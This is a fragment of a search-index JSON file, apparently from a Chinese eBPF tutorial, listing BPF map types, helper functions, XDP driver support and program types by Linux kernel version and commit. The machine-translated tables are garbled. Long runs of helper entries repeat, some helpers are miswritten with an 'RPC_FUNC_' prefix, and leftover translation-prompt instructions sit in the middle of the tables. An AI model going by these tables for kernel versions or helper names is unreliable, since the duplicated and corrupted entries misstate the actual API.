可能会导致不可预料的后果，因此，kprobes 不支持在 X86_64 的结构下为__switch_to()函数注册 kretprobe，将直接返回-EINVAL。","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » kprobes 技术背景","id":"23","title":"kprobes 技术背景"},"230":{"body":"","breadcrumbs":"BPF Features by Linux Kernel Version » Map types ( a.k.a. 表格, 在 BCC 术语中)","id":"230","title":"Map types ( a.k.a. 表格, 在 BCC 术语中)"},"231":{"body":"您内核支持的 Map 类型列表可以在文件 include/uapi/linux/bpf.h 中找到: git grep -W 'bpf_map_type {' include/uapi/linux/bpf.h Map 类型 内核版本 提交 枚举 哈希 3.19 0f8e4bd8a1fc BPF_MAP_TYPE_HASH\".Array Prog array 4.2 04fd61ab36ec BPF_MAP_TYPE_PROG_ARRAY Perf events 4.3 ea317b267e9d BPF_MAP_TYPE_PERF_EVENT_ARRAY Per-CPU hash 4.6 824bd0ce6c7c BPF_MAP_TYPE_PERCPU_HASH Per-CPU array 4.6 a10423b87a7e BPF_MAP_TYPE_PERCPU_ARRAY Stack trace 4.6 d5a3b1f69186 BPF_MAP_TYPE_STACK_TRACE cgroup array 4.8 4ed8ec521ed5 BPF_MAP_TYPE_CGROUP_ARRAY LRU hash 4.10 29ba732acbee 3a08c2fd7634 BPF_MAP_TYPE_LRU_HASH LRU per-CPU hash 4.10 8f8449384ec3 961578b63474 BPF_MAP_TYPE_LRU_PERCPU_HASH LPM trie (longest-prefix match) 4.11 b95a5c4db09b BPF_MAP_TYPE_LPM_TRIE Array of maps 4.12 56f668dfe00d BPF_MAP_TYPE_ARRAY_OF_MAPSHash of maps Netdevice references (array) 4.14 546ac1ffb70d BPF_MAP_TYPE_DEVMAP Socket references (array) 4.14 174a79ff9515 BPF_MAP_TYPE_SOCKMAP CPU references 4.15 6710e1126934 BPF_MAP_TYPE_CPUMAP AF_XDP socket (XSK) references 4.18 fbfc504a24f5 BPF_MAP_TYPE_XSKMAP Socket references (hashmap) 4.18 81110384441a BPF_MAP_TYPE_SOCKHASH cgroup storage 4.19 de9cbbaadba5 BPF_MAP_TYPE_CGROUP_STORAGE reuseport sockarray 4.19 5dc4c4b7d4e8 BPF_MAP_TYPE_REUSEPORT_SOCKARRAY precpu cgroup storage 4.20 b741f1630346 BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE queue 4.20 f1a2e44a3aec BPF_MAP_TYPE_QUEUE stack 4.20 f1a2e44a3aec BPF_MAP_TYPE_STACK socket local storage 5.2 6ac99e8f23d4 BPF_MAP_TYPE_SK_STORAGENetdevice references (hashmap) struct ops 5.6 85d33df357b6 BPF_MAP_TYPE_STRUCT_OPS ring buffer 5.8 457f44363a88 BPF_MAP_TYPE_RINGBUF inode storage 5.10 8ea636848aca BPF_MAP_TYPE_INODE_STORAGE task storage 5.11 4cf1bc1f1045 BPF_MAP_TYPE_TASK_STORAGE Bloom filter 5.16 9330986c0300 BPF_MAP_TYPE_BLOOM_FILTER user ringbuf 6.1 583c1f420173 BPF_MAP_TYPE_USER_RINGBUF","breadcrumbs":"BPF Features by Linux Kernel Version » Map 类型","id":"231","title":"Map 类型"},"232":{"body":"Some (but not all) of these API features translate to a subcommand beginning with BPF_MAP_. The list of subcommands supported in your kernel can be found in file include/uapi/linux/bpf.h : git grep -W 'bpf_cmd {' include/uapi/linux/bpf.h Feature Kernel version Commit Basic operations (lookup, update, delete, GET_NEXT_KEY) 3.18 db20fd2b0108 Pass flags to UPDATE_ELEM 3.19 3274f52073d8 Pre-alloc map memory by default 4.6 6c9059817432 传递NULL给GET_NEXT_KEY 创建: 选择NUMA节点 4.14 96eabe7a40aa 限制从系统调用方面的访问 4.15 6e71b04a8224 创建: 指定映射名称 4.15 ad5b177bd73f LOOKUP_AND_DELETE_ELEM 4.20 bd513cd08f10 创建: BPF_F_ZERO_SEED 5.0 96b3b6c9091d 查找/更新的BPF_F_LOCK标志 5.1 96049f3afd50 限制从BPF方面的访问 5.2 591fe9888d78 FREEZE 5.2 87df15de441b 数组映射的mmap()支持 5.5 fc9702273e2e LOOKUP_BATCH 5.6 cb4d03ab499d UPDATE_BATCH, DELETE_BATCH 5.6 aa2e93b8e58e LOOKUP_AND_DELETE_BATCH 5.6 057996380a42 LOOKUP_AND_DELETE_ELEM哈希映射的支持 5.14 3e87f192b405","breadcrumbs":"BPF Features by Linux Kernel Version » Map userspace API","id":"232","title":"Map userspace API"},"233":{"body":"您的内核支持XDP程序的驱动程序或组件的近似列表可以用以下命令检索: ```sh````git grep -l XDP_SETUP_PROG drivers/ 功能/驱动 内核版本 提交 XDP核心架构 4.8 6a773a15a1e8 操作：丢弃 4.8 6a773a15a1e8 操作：传递到堆栈 4.8 6a773a15a1e8 直接转发（同一端口） 4.8 6ce96ca348a9 直接数据包数据写入 4.8 4acf6c0b84c9 Mellanox mlx4驱动 4.8 47a38e155037 Mellanox mlx5驱动 4.9 86994156c736 Netronome nfp驱动 4.10 ecd63a0217d5 QLogic（Cavium）qed*驱动 4.10 496e05170958 virtio_net驱动 4.10 f600b6905015 Broadcom bnxt_en驱动 4.11 c6d30e8391b8 Intel ixgbe*驱动 4.12 924708081629 Cavium thunderx驱动 4.12 05c773f52b96 通用XDP 4.12 b5cdae3291f7 ` 注意： 本次翻译仅包括翻译部分，不包括原始文本。## 帮助者 您的内核支持的辅助者列表可在文件中找到。 Intel i40e 驱动程序 | 4.13 | 0c8493d90b6b 操作：重定向 | 4.14 | 6453073987ba 支持 tap | 4.14 | 761876c857cb 支持 veth | 4.14 | d445516966dc Intel ixgbevf 驱动程序 | 4.17 | c7aec59657b6 Freescale dpaa2 驱动程序 | 5.0 | 7e273a8ebdd3 Socionext netsec 驱动程序 | 5.3 | ba2b232108d3 TI cpsw 驱动程序 | 5.3 | 9ed4050c0d75 Intel ice 驱动程序 |5.5| efc2214b6047 Solarflare sfc 驱动程序 | 5.5 | eb9a36be7f3e Marvell mvneta 驱动程序 | 5.5 | 0db51da7a8e9 Microsoft hv_netvsc 驱动程序 | 5.6 | 351e1581395f Amazon ena 驱动程序 | 5.6 | 838c93dc5449 xen-netfront 驱动程序 | 5.9 | 6c5aa6fc4def Intel gi 驱动程序 | 5.10 | 9cbc948b5a20 include/uapi/linux/bpf.h: include/uapi/linux/bpf.h : git grep ' FN(' include/uapi/linux/bpf.h 按字母顺序排列 Helper 内核版本 授权许可 提交记录 BPF_FUNC_bind() 4.17 d74bad4e74ee BPF_FUNC_bprm_opts_set() 5.11 3f6719c7b62f BPF_FUNC_btf_find_by_name_kind() 5.14 3d78417b60fb BPF_FUNC_cgrp_storage_delete() 6.2 c4bcfb38a95e BPF_FUNC_cgrp_storage_get() 6.2 c4bcfb38a95e BPF_FUNC_check_mtu() 5.12 34b2021cc616 BPF_FUNC_clone_redirect() 4.2 3896d655f4d4 BPF_FUNC_copy_from_user() 5.10 07be4c4a3e7a BPF_FUNC_copy_from_user_task() 5.18 GPL 376040e47334 BPF_FUNC_csum_diff() 4.6 7d672345ed29 BPF_FUNC_csum_level() 5.7 7cdec54f9713 BPF_FUNC_csum_update() 4.9 36bbef52c7eb \"BPF_FUNC_current_task_under_cgroup() BPF_FUNC_d_path() 5.10 6e22ab9da793 BPF_FUNC_dynptr_data() 5.19 34d4ef5775f7 BPF_FUNC_dynptr_from_mem() 5.19 263ae152e962 BPF_FUNC_dynptr_read() 5.19 13bbbfbea759 BPF_FUNC_dynptr_write() 5.19 13bbbfbea759 BPF_FUNC_fib_lookup() 4.18 GPL 87f5fc7e48dd BPF_FUNC_find_vma() 5.17 7c7e3d31e785 BPF_FUNC_for_each_map_elem() 5.13 69c087ba6225 BPF_FUNC_get_attach_cookie() 5.15 7adfc6c9b315 BPF_FUNC_get_branch_snapshot() 5.16 GPL 856c02dbce4f BPF_FUNC_get_current_ancestor_cgroup_id() 5.6 b4490c5c4e02 BPF_FUNC_get_cgroup_classid() 4.3 8d20aabe1c76 BPF_FUNC_get_current_cgroup_id() 4.18 bf6fa2c893c5 BPF_FUNC_current_task_under_cgroup() 4.9 60d20f9195b2 BPF_FUNC_d_path() 5.10 6e22ab9da793 BPF_FUNC_dynptr_data() 5.19 34d4ef5775f7 BPF_FUNC_dynptr_from_mem() 5.19 263ae152e962 BPF_FUNC_dynptr_read() 5.19 13bbbfbea759 BPF_FUNC_dynptr_write() 5.19 13bbbfbea759 BPF_FUNC_fib_lookup() 4.18 GPL 87f5fc7e48dd BPF_FUNC_find_vma() 5.17 7c7e3d31e785 BPF_FUNC_for_each_map_elem() 5.13 69c087ba6225 BPF_FUNC_get_attach_cookie() 5.15 7adfc6c9b315 BPF_FUNC_get_branch_snapshot() 5.16 GPL 856c02dbce4f BPF_FUNC_get_current_ancestor_cgroup_id() 5.6 b4490c5c4e02 BPF_FUNC_get_cgroup_classid() 4.3 8d20aabe1c76 BPF_FUNC_get_current_cgroup_id() 4.18 bf6fa2c893c5 \".\"BPF_FUNC_get_current_comm() BPF_FUNC_get_current_pid_tgid() 4.2 ffeedafbf023 BPF_FUNC_get_current_task() 4.8 GPL 606274c5abd8 BPF_FUNC_get_current_task_btf() 5.11 GPL 3ca1032ab7ab BPF_FUNC_get_current_uid_gid() 4.2 ffeedafbf023 BPF_FUNC_get_func_arg() 5.17 f92c1e183604 BPF_FUNC_get_func_arg_cnt() 5.17 f92c1e183604 BPF_FUNC_get_func_ip() 5.15 5d8b583d04ae BPF_FUNC_get_func_ret() 5.17 f92c1e183604 BPF_FUNC_get_retval() 5.18 b44123b4a3dc BPF_FUNC_get_hash_recalc() 4.8 13c5c240f789 BPF_FUNC_get_listener_sock() 5.1 dbafd7ddd623 BPF_FUNC_get_local_storage() 4.19 cd3394317653 BPF_FUNC_get_netns_cookie() 5.7 f318903c0bf4 BPF_FUNC_get_ns_current_pid_tgid() BPF_FUNC_get_numa_node_id() 4.10 2d0e30c30f84 BPF_FUNC_get_prandom_u32() 4.1 03e69b508b6f BPF_FUNC_get_route_realm() 4.4 c46646d0484f BPF_FUNC_get_smp_processor_id() 4.1 c04167ce2ca0 BPF_FUNC_get_socket_cookie() 4.12 91b8270f2a4d BPF_FUNC_get_socket_uid() 4.12 6acc5c291068 BPF_FUNC_get_stack() 4.18 GPL de2ff05f48af BPF_FUNC_get_stackid() 4.6 GPL d5a3b1f69186 BPF_FUNC_get_task_stack() 5.9 fa28dcb82a38 BPF_FUNC_getsockopt() 4.15 cd86d1fd2102 BPF_FUNC_ima_file_hash() 5.18 174b16946e39 BPF_FUNC_ima_inode_hash() 5.11 27672f0d280a BPF_FUNC_inode_storage_delete() 5.10 8ea636848aca RPC_FUNC_get_ns_current_pid_tgid() 5.7 b4490c5c4e02 RPC_FUNC_get_numa_node_id() 4.10 2d0e30c30f84 RPC_FUNC_get_prandom_u32() 4.1 03e69b508b6f RPC_FUNC_get_route_realm() 4.4 c46646d0484f RPC_FUNC_get_smp_processor_id() 4.1 c04167ce2ca0 RPC_FUNC_get_socket_cookie() 4.12 91b8270f2a4d RPC_FUNC_get_socket_uid() 4.12 6acc5c291068 RPC_FUNC_get_stack() 4.18 GPL de2ff05f48af RPC_FUNC_get_stackid() 4.6 GPL d5a3b1f69186 RPC_FUNC_get_task_stack() 5.9 fa28dcb82a38 RPC_FUNC_getsockopt() 4.15 cd86d1fd2102 RPC_FUNC_ima_file_hash() 5.18 174b16946e39 RPC_FUNC_ima_inode_hash() 5.11 27672f0d280a RPC_FUNC_inode_storage_delete() 5.10 8ea636848aca \".\"BPF_FUNC_inode_storage_get() BPF_FUNC_jiffies64() 5.5 5576b991e9c1 BPF_FUNC_kallsyms_lookup_name() 5.16 d6aef08a872b BPF_FUNC_kptr_xchg() 5.19 c0a5a21c25f3 BPF_FUNC_ktime_get_boot_ns() 5.8 71d19214776e BPF_FUNC_ktime_get_coarse_ns() 5.11 d05512618056 BPF_FUNC_ktime_get_ns() 4.1 d9847d310ab4 BPF_FUNC_ktime_get_tai_ns() 6.1 c8996c98f703 BPF_FUNC_l3_csum_replace() 4.1 91bc4822c3d6 BPF_FUNC_l4_csum_replace() 4.1 91bc4822c3d6 BPF_FUNC_load_hdr_opt() 5.10 0813a841566f BPF_FUNC_loop() 5.17 e6f2dd0f8067 BPF_FUNC_lwt_push_encap() 4.18 fe94cc290f53 BPF_FUNC_lwt_seg6_action() 4.18 fe94cc290f53 `BPF_FUNC_lwt_seg6_adjust_srh()` `BPF_FUNC_lwt_seg6_store_bytes()` 4.18 fe94cc290f53 `BPF_FUNC_map_delete_elem()` 3.19 d0003ec01c66 `BPF_FUNC_map_lookup_elem()` 3.19 d0003ec01c66 `BPF_FUNC_map_lookup_percpu_elem()` 5.19 07343110b293 `BPF_FUNC_map_peek_elem()` 4.20 f1a2e44a3aec `BPF_FUNC_map_pop_elem()` 4.20 f1a2e44a3aec `BPF_FUNC_map_push_elem()` 4.20 f1a2e44a3aec `BPF_FUNC_map_update_elem()` 3.19 d0003ec01c66 `BPF_FUNC_msg_apply_bytes()` 4.17 2a100317c9eb `BPF_FUNC_msg_cork_bytes()` 4.17 91843d540a13 `BPF_FUNC_msg_pop_data()` 5.0 7246d8ed4dcc `BPF_FUNC_msg_pull_data()` 4.17 015632bb30da `BPF_FUNC_msg_push_data()` 4.20 6fff607e2f14 \".BPF_FUNC_msg_redirect_hash() BPF_FUNC_msg_redirect_map() 4.17 4f738adba30a BPF_FUNC_per_cpu_ptr() 5.10 eaa6bcb71ef6 BPF_FUNC_perf_event_output() 4.4 GPL a43eec304259 BPF_FUNC_perf_event_read() 4.3 GPL 35578d798400 BPF_FUNC_perf_event_read_value() 4.15 GPL 908432ca84fc BPF_FUNC_perf_prog_read_value() 4.15 GPL 4bebdc7a85aa BPF_FUNC_probe_read() 4.1 GPL 2541517c32be BPF_FUNC_probe_read_kernel() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_kernel_str() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_user() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_user_str() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_str() 4.11 GPL a5e8c07059d0 BPF_FUNC_probe_write_user() 4.8 GPL 96ae52279594 \"BPF_FUNC_rc_keydown() BPF_FUNC_rc_pointer_rel() 5.0 GPL 01d3240a04f4 BPF_FUNC_rc_repeat() 4.18 GPL f4364dcfc86d BPF_FUNC_read_branch_records() 5.6 GPL fff7b64355ea BPF_FUNC_redirect() 4.4 27b29f63058d BPF_FUNC_redirect_map() 4.14 97f91a7cf04f BPF_FUNC_redirect_neigh() 5.10 b4ab31414970 BPF_FUNC_redirect_peer() 5.10 9aa1206e8f48 BPF_FUNC_reserve_hdr_opt() 5.10 0813a841566f BPF_FUNC_ringbuf_discard() 5.8 457f44363a88 BPF_FUNC_ringbuf_discard_dynptr() 5.19 bc34dee65a65 BPF_FUNC_ringbuf_output() 5.8 457f44363a88 BPF_FUNC_ringbuf_query() 5.8 457f44363a88 BPF_FUNC_ringbuf_reserve() 5.8 457f44363a88 BPF_FUNC_ringbuf_reserve_dynptr() 5.19 bc34dee65a65 BPF_FUNC_ringbuf_submit() 5.8 457f44363a88 BPF_FUNC_ringbuf_submit_dynptr() 5.19 bc34dee65a65 BPF_FUNC_send_signal() 5.3 8b401f9ed244 BPF_FUNC_send_signal_thread() 5.5 8482941f0906 BPF_FUNC_seq_printf() 5.7 GPL 492e639f0c22 BPF_FUNC_seq_printf_btf() 5.10 eb411377aed9 BPF_FUNC_seq_write() 5.7 GPL 492e639f0c22 BPF_FUNC_set_hash() 4.13 ded092cd73c2 BPF_FUNC_set_hash_invalid() 4.9 7a4b28c6cc9f BPF_FUNC_set_retval() 5.18 b44123b4a3dc BPF_FUNC_setsockopt() 4.13 8c4b4c7e9ff0 BPF_FUNC_sk_ancestor_cgroup_id() 5.7 f307fa2cb4c9 BPF_FUNC_sk_assign() 5.6 cf7fbe660f2d BPF_FUNC_ringbuf_reserve_dynptr() BPF_FUNC_ringbuf_submit() 5.8 457f44363a88 BPF_FUNC_ringbuf_submit_dynptr() 5.19 bc34dee65a65 BPF_FUNC_send_signal() 5.3 8b401f9ed244 BPF_FUNC_send_signal_thread() 5.5 8482941f0906 BPF_FUNC_seq_printf() 5.7 GPL 492e639f0c22 BPF_FUNC_seq_printf_btf() 5.10 eb411377aed9 BPF_FUNC_seq_write() 5.7 GPL 492e639f0c22 BPF_FUNC_set_hash() 4.13 ded092cd73c2 BPF_FUNC_set_hash_invalid() 4.9 7a4b28c6cc9f BPF_FUNC_set_retval() 5.18 b44123b4a3dc BPF_FUNC_setsockopt() 4.13 8c4b4c7e9ff0 BPF_FUNC_sk_ancestor_cgroup_id() 5.7 f307fa2cb4c9 BPF_FUNC_sk_assign() 5.6 cf7fbe660f2d BPF_FUNC_ringbuf_reserve_dynptr() 5.19 bc34dee65a65 BPF_FUNC_ringbuf_submit() 5.8 457f44363a88 BPF_FUNC_ringbuf_submit_dynptr() 5.19 bc34dee65a65 BPF_FUNC_send_signal() 5.3 8b401f9ed244 BPF_FUNC_send_signal_thread() 5.5 8482941f0906 BPF_FUNC_seq_printf() 5.7 GPL 492e639f0c22 BPF_FUNC_seq_printf_btf() 5.10 eb411377aed9 BPF_FUNC_seq_write() 5.7 GPL 492e639f0c22 BPF_FUNC_set_hash() 4.13 ded092cd73c2 BPF_FUNC_set_hash_invalid() 4.9 7a4b28c6cc9f BPF_FUNC_set_retval() 5.18 b44123b4a3dc BPF_FUNC_setsockopt() 4.13 8c4b4c7e9ff0 BPF_FUNC_sk_ancestor_cgroup_id() 5.7 f307fa2cb4c9 BPF_FUNC_sk_assign() 5.6 cf7fbe660f2d \".\"BPF_FUNC_sk_cgroup_id() BPF_FUNC_sk_fullsock() 5.1 46f8bc92758c BPF_FUNC_sk_lookup_tcp() 4.20 6acc9b432e67 BPF_FUNC_sk_lookup_udp() 4.20 6acc9b432e67 BPF_FUNC_sk_redirect_hash() 4.18 81110384441a BPF_FUNC_sk_redirect_map() 4.14 174a79ff9515 BPF_FUNC_sk_release() 4.20 6acc9b432e67 BPF_FUNC_sk_select_reuseport() 4.19 2dbb9b9e6df6 BPF_FUNC_sk_storage_delete() 5.2 6ac99e8f23d4 BPF_FUNC_sk_storage_get() 5.2 6ac99e8f23d4 BPF_FUNC_skb_adjust_room() 4.13 2be7e212d541 BPF_FUNC_skb_ancestor_cgroup_id() 4.19 7723628101aa BPF_FUNC_skb_change_head() 4.10 3a0af8fd61f9 BPF_FUNC_skb_change_proto() 4.8 6578171a7ff0 BPF_FUNC_sk_cgroup_id() 5.7 f307fa2cb4c9 BPF_FUNC_sk_fullsock() 5.1 46f8bc92758c BPF_FUNC_sk_lookup_tcp() 4.20 6acc9b432e67 BPF_FUNC_sk_lookup_udp() 4.20 6acc9b432e67 BPF_FUNC_sk_redirect_hash() 4.18 81110384441a BPF_FUNC_sk_redirect_map() 4.14 174a79ff9515 BPF_FUNC_sk_release() 4.20 6acc9b432e67 BPF_FUNC_sk_select_reuseport() 4.19 2dbb9b9e6df6 BPF_FUNC_sk_storage_delete() 5.2 6ac99e8f23d4 BPF_FUNC_sk_storage_get() 5.2 6ac99e8f23d4 BPF_FUNC_skb_adjust_room() 4.13 2be7e212d541 BPF_FUNC_skb_ancestor_cgroup_id() 4.19 7723628101aa BPF_FUNC_skb_change_head() 4.10 3a0af8fd61f9 BPF_FUNC_skb_change_proto() 4.8 6578171a7ff0 。\"BPF_FUNC_skb_change_tail()` BPF_FUNC_skb_change_type() 4.8 d2485c4242a8 BPF_FUNC_skb_cgroup_classid() 5.10 b426ce83baa7 BPF_FUNC_skb_cgroup_id() 4.18 cb20b08ead40 BPF_FUNC_skb_ecn_set_ce() 5.1 f7c917ba11a6 BPF_FUNC_skb_get_tunnel_key() 4.3 d3aa45ce6b94 BPF_FUNC_skb_get_tunnel_opt() 4.6 14ca0751c96f BPF_FUNC_skb_get_xfrm_state() 4.18 12bed760a78d BPF_FUNC_skb_load_bytes() 4.5 05c74e5e53f6 BPF_FUNC_skb_load_bytes_relative() 4.18 4e1ec56cdc59 BPF_FUNC_skb_output() 5.5 a7658e1a4164 BPF_FUNC_skb_pull_data() 4.9 36bbef52c7eb BPF_FUNC_skb_set_tstamp() 5.18 9bb984f28d5b BPF_FUNC_skb_set_tunnel_key() 4.3 d3aa45ce6b94 BPF_FUNC_skb_set_tunnel_opt() 4.6 14ca0751c96f BPF_FUNC_skb_store_bytes() 4.1 91bc4822c3d6 BPF_FUNC_skb_under_cgroup() 4.8 4a482f34afcc BPF_FUNC_skb_vlan_pop() 4.3 4e10df9a60d9 BPF_FUNC_skb_vlan_push() 4.3 4e10df9a60d9 BPF_FUNC_skc_lookup_tcp() 5.2 edbf8c01de5a BPF_FUNC_skc_to_mctcp_sock() 5.19 3bc253c2e652 BPF_FUNC_skc_to_tcp_sock() 5.9 478cfbdf5f13 BPF_FUNC_skc_to_tcp_request_sock() 5.9 478cfbdf5f13 BPF_FUNC_skc_to_tcp_timewait_sock() 5.9 478cfbdf5f13 BPF_FUNC_skc_to_tcp6_sock() 5.9 af7ec1383361 BPF_FUNC_skc_to_udp6_sock() 5.9 0d4fad3e57df BPF_FUNC_skc_to_unix_sock() 5.16 9eeb3aa33ae0 BPF_FUNC_snprintf() 5.13 7b15523a989b \".\"BPF_FUNC_snprintf_btf() BPF_FUNC_sock_from_file() 5.11 4f19cab76136 BPF_FUNC_sock_hash_update() 4.18 81110384441a BPF_FUNC_sock_map_update() 4.14 174a79ff9515 BPF_FUNC_spin_lock() 5.1 d83525ca62cf BPF_FUNC_spin_unlock() 5.1 d83525ca62cf BPF_FUNC_store_hdr_opt() 5.10 0813a841566f BPF_FUNC_strncmp() 5.17 c5fb19937455 BPF_FUNC_strtol() 5.2 d7a4cb9b6705 BPF_FUNC_strtoul() 5.2 d7a4cb9b6705 BPF_FUNC_sys_bpf() 5.14 79a7f8bdb159 BPF_FUNC_sys_close() 5.14 3abea089246f BPF_FUNC_sysctl_get_current_value() 5.2 1d11b3016cec BPF_FUNC_sysctl_get_name() 5.2 808649fb787d \". 格式：只返回翻译后的内容，不包括原文。BPF_FUNC_sysctl_get_new_value()| 5.2| | 4e63acdff864 BPF_FUNC_sysctl_set_new_value()|5.2| | 4e63acdff864 BPF_FUNC_tail_call()|4.2| | 04fd61ab36ec BPF_FUNC_task_pt_regs()|5.15| GPL | dd6e10fbd9f BPF_FUNC_task_storage_delete()|5.11| | 4cf1bc1f1045 BPF_FUNC_task_storage_get()|5.11| | 4cf1bc1f1045 BPF_FUNC_tcp_check_syncookie()|5.2| | 399040847084 BPF_FUNC_tcp_gen_syncookie()|5.3| | 70d66244317e BPF_FUNC_tcp_raw_check_syncookie_ipv4()|6.0| | 33bf9885040c BPF_FUNC_tcp_raw_check_syncookie_ipv6()|6.0| | 33bf9885040c BPF_FUNC_tcp_raw_gen_syncookie_ipv4()|6.0| | 33bf9885040c BPF_FUNC_tcp_raw_gen_syncookie_ipv6()|6.0| | 33bf9885040c BPF_FUNC_tcp_send_ack()|5.5 | | 206057fe020a BPF_FUNC_tcp_sock() 5.1 655a51e536c0 BPF_FUNC_this_cpu_ptr() 5.10 63d9b80dcf2c BPF_FUNC_timer_init() 5.15 b00628b1c7d5 BPF_FUNC_timer_set_callback() 5.15 b00628b1c7d5 BPF_FUNC_timer_start() 5.15 b00628b1c7d5 BPF_FUNC_timer_cancel() 5.15 b00628b1c7d5 BPF_FUNC_trace_printk() 4.1 GPL 9c959c863f82 BPF_FUNC_trace_vprintk() 5.16 GPL 10aceb629e19 BPF_FUNC_user_ringbuf_drain() 6.1 205715673844 BPF_FUNC_xdp_adjust_head() 4.10 17bedab27231 BPF_FUNC_xdp_adjust_meta() 4.15 de8f3a83b0a0 BPF_FUNC_xdp_adjust_tail() 4.18 b32cc5b9a346 BPF_FUNC_xdp_get_buff_len() 5.18 0165cc817075 BPF_FUNC_xdp_load_bytes() 5.18 3f364222d032 \"BPF_FUNC_xdp_store_bytes() BPF_FUNC_xdp_output() 5.6 GPL d831ee84bfc9 BPF_FUNC_override_return() 4.16 GPL 9802d86585db BPF_FUNC_sock_ops_cb_flags_set() 4.16 b13d88072172 注：仅GPL兼容的BPF助手需要GPL兼容的许可证。内核所认可的当前GPL兼容许可证有： GPL GPL v2 GPL和其他权利 双BSD/GPL 双MIT/GPL 双MPL/GPL 在您的 内核源代码 中查看GPL兼容许可证的列表。","breadcrumbs":"BPF Features by Linux Kernel Version » XDP","id":"233","title":"XDP"},"234":{"body":"可以使用以下命令获取程序类型和支持的辅助函数列表： git grep -W 'func_proto(enum bpf_func_id func_id' kernel/ net/ drivers/ 程序类型 辅助函数 BPF_PROG_TYPE_SOCKET_FILTER BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_load_bytes_relative() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() BPF_FUNC_perf_event_output() 基础函数 BPF_PROG_TYPE_KPROBE BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_perf_event_read_value() BPF_FUNC_override_return() 跟踪函数 BPF_PROG_TYPE_TRACEPOINT BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_d_path() 跟踪函数 BPF_PROG_TYPE_XDP BPF_FUNC_perf_event_output() BPF_FUNC_get_smp_processor_id() BPF_FUNC_csum_diff() BPF_FUNC_xdp_adjust_head() BPF_FUNC_xdp_adjust_meta() BPF_FUNC_redirect() BPF_FUNC_redirect_map() BPF_FUNC_xdp_adjust_tail() BPF_FUNC_fib_lookup() 基础函数 BPF_PROG_TYPE_PERF_EVENT BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_perf_prog_read_value() 跟踪函数 BPF_PROG_TYPE_CGROUP_SOCK | BPF_FUNC_get_current_uid_gid() 基本功能 BPF_PROG_TYPE_LWT_IN | BPF_FUNC_lwt_push_encap() LWT功能 基本功能 BPF_PROG_TYPE_LWT_OUT LWT功能 基本功能 BPF_PROG_TYPE_LWT_XMIT | BPF_FUNC_skb_get_tunnel_key() BPF_FUNC_skb_set_tunnel_key() BPF_FUNC_skb_get_tunnel_opt() BPF_FUNC_skb_set_tunnel_opt() BPF_FUNC_redirect() BPF_FUNC_clone_redirect() BPF_FUNC_skb_change_tail() BPF_FUNC_skb_change_head() BPF_FUNC_skb_store_bytes() BPF_FUNC_csum_update() BPF_FUNC_l3_csum_replace() BPF_FUNC_l4_csum_replace() BPF_FUNC_set_hash_invalid() LWT功能 BPF_PROG_TYPE_SOCK_OPS | BPF_FUNC_setsockopt() BPF_FUNC_getsockopt() BPF_FUNC_sock_ops_cb_flags_set() BPF_FUNC_sock_map_update() BPF_FUNC_sock_hash_update() BPF_FUNC_get_socket_cookie() 基本功能 BPF_PROG_TYPE_SK_SKB | BPF_FUNC_skb_store_bytes() BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_pull_data() BPF_FUNC_skb_change_tail() BPF_FUNC_skb_change_head() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() BPF_FUNC_sk_redirect_map() BPF_FUNC_sk_redirect_hash() BPF_FUNC_sk_lookup_tcp() BPF_FUNC_sk_lookup_udp() BPF_FUNC_sk_release() 基本功能 BPF_PROG_TYPE_CGROUP_DEVICE | BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_get_current_uid_gid() BPF_FUNC_trace_printk() BPF_PROG_TYPE_RAW_TRACEPOINT BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_skb_output() 跟踪功能 BPF_PROG_TYPE_CGROUP_SOCK_ADDR BPF_FUNC_get_current_uid_gid() BPF_FUNC_bind() BPF_FUNC_get_socket_cookie() 基本功能 BPF_PROG_TYPE_LWT_SEG6LOCAL BPF_FUNC_lwt_seg6_store_bytes() BPF_FUNC_lwt_seg6_action() BPF_FUNC_lwt_seg6_adjust_srh() LWT功能 BPF_PROG_TYPE_LIRC_MODE2 BPF_FUNC_rc_repeat() BPF_FUNC_rc_keydown() BPF_FUNC_rc_pointer_rel() BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_ktime_get_ns() BPF_FUNC_tail_call() BPF_FUNC_get_prandom_u32() BPF_FUNC_trace_printk() BPF_PROG_TYPE_SK_REUSEPORT BPF_FUNC_sk_select_reuseport() BPF_FUNC_skb_load_bytes() BPF_FUNC_load_bytes_relative() 基本功能 BPF_PROG_TYPE_FLOW_DISSECTOR BPF_FUNC_skb_load_bytes() 基本功能 功能组 功能 基本功能 BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_map_peek_elem() BPF_FUNC_map_pop_elem() BPF_FUNC_map_push_elem() BPF_FUNC_get_prandom_u32() BPF_FUNC_get_smp_processor_id() BPF_FUNC_get_numa_node_id() BPF_FUNC_tail_call() BPF_FUNC_ktime_get_boot_ns() BPF_FUNC_ktime_get_ns() BPF_FUNC_trace_printk() BPF_FUNC_spin_lock() BPF_FUNC_spin_unlock() LWT函数 BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_pull_data() BPF_FUNC_csum_diff() BPF_FUNC_get_cgroup_classid() BPF_FUNC_get_route_realm() BPF_FUNC_get_hash_recalc() BPF_FUNC_perf_event_output() BPF_FUNC_get_smp_processor_id() BPF_FUNC_skb_under_cgroup()","breadcrumbs":"BPF Features by Linux Kernel Version » 程序类型","id":"234","title":"程序类型"},"235":{"body":"","breadcrumbs":"Kernel Configuration for BPF Features » BPF 